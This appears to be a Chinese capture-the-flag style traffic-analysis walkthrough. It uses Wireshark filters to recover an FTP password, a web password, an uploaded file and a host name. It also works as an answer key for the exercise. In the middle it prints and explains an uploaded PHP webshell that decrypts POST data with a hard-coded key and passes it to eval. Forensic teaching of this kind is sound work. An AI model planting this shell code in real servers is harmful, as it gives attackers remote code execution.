A集团的⽹络安全监控系统发现恶意份⼦正在实施⾼级可持续攻击(APT),并抓取了部分可疑流量包。请您根据捕捉到的流量包,搜寻出⽹络攻击线索,分解出隐藏的恶意程序,并分析恶意程序的⾏为。
本任务素材清单:捕获的⽹络数据包⽂件。
请按要求完成该部分的⼯作任务
1、分析并提交攻击者使⽤FTP 连接⽬标服务器时使⽤的密码
2、分析并提交攻击者登⼊⽬标服务器 web 系统时使⽤的密码
3、分析并提交攻击者传⼊⽬标系统的⽂件名
4、分析并提交被攻击的服务器的计算机名称
1、分析并提交攻击者使⽤FTP 连接⽬标服务器时使⽤的密码
题目里提到了FTP那直接过滤FTP的流量包,在 FTP 协议中,PASS 是一个命令,通常在用户输入用户名(USER命令)之后,用于提供用户的密码。我们直接过滤ftp流量包里面的关键字
ftp contains "PASS"
得到密码 Root123
2、分析并提交攻击者登⼊⽬标服务器 web 系统时使⽤的密码
题目里面提到了web系统那直接过滤http的流量包看看
这里看到http的流量包并不多,找post提交的流量包追踪流
解释一下这段流量
1.文件上传:
流量中包含了一个文件上传请求,文件名为 shell.PHp,它是一个 PHP 文件。
Content-Disposition: form-data; name="tt"; filename="shell.PHp"
Content-Type: application/octet-stream
2. 禁用错误报告
php
@error_reporting(0);
攻击者通过 @ 符号关闭了错误报告,这意味着在执行恶意代码时不会显示任何错误,帮助隐藏其行为。
3. 会话管理
php
session_start();
$key = "e45e329feb5d925b"; #16位md5加密下面是解密出来的明文
//......32...md5.......16..........rebeyond
$_SESSION['k'] = $key;
session_write_close();
攻击者启动了 PHP 会话,并设置了一个加密密钥 key。密钥保存在会话中,可能用于后续的加密/解密操作。
4. 数据处理
php
$post = file_get_contents("php://input");
这行代码通过 php://input 获取了 POST 请求的原始数据。此数据包含了攻击者发送的加密或者编码后的负载。
5. 加密和解密
接下来,代码根据是否加载了 OpenSSL 扩展来执行不同的解密操作。若没有 OpenSSL 扩展,它使用 base64 解码并对解码后的数据进行 XOR 解密(使用事先定义的密钥):
php
if(!extension_loaded('openssl')) {
$t = "base64_" . "decode";
$post = $t($post . "");
for($i = 0; $i < strlen($post); $i++) {
$post[$i] = $post[$i] ^ $key[$i + 1 & 15];
}
}
如果安装了 OpenSSL 扩展,它会使用 AES128 解密:
php
else {
$post = openssl_decrypt($post, "AES128", $key);
}
6. 数据分割
php
$arr = explode('|', $post);
$func = $arr[0];
$params = $arr[1];
这行代码将解密后的数据按 | 分隔成两个部分,第一个部分可能是要执行的函数名或操作,第二个部分是传递给该函数的参数。
7. 执行代码
php
class C {
public function __invoke($p) {
eval($p . "");
}
}
@call_user_func(new C(), $params);
这部分代码非常关键,它定义了一个 C 类,该类具有 __invoke() 方法,使得类的实例可以像函数一样被调用。
eval() 函数执行传入的 PHP 代码。通过 call_user_func() 调用该方法,最终执行 $params 中包含的 PHP 代码。
得到web登录密码 rebeyond
3、分析并提交攻击者传⼊⽬标系统的⽂件名
攻击者上传的文件前面已经看到了一个文件上传请求,直接拿出来就是答案
文件名 shell.PHp
4、分析并提交被攻击的服务器的计算机名称
寻找计算机名称⼀般有如下⽅法,⼀个⼀个过滤寻找即可
NetBIOS 名称解析: 使用 nbns 过滤,查找包含计算机名称的 NetBIOS 请求和响应。
DHCP: 使用 bootp 或 dhcp 过滤,检查 DHCP 流量中的 Host Name 字段。
HTTP(User-Agent): 使用 http 过滤,查看 HTTP 请求中的 User-Agent 头部信息。
Kerberos: 使用 kerberos 过滤,检查 Kerberos 协议中的 CNameString 字段。
这里直接过滤nbns直接看到计算机名
计算机名 WIN-935BICNFFVK
这一个流量包到这里就结束了,有不足的地方欢迎各位师傅补充
原文始发于微信公众号(信安一把索):流量分析 - 练习篇7
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论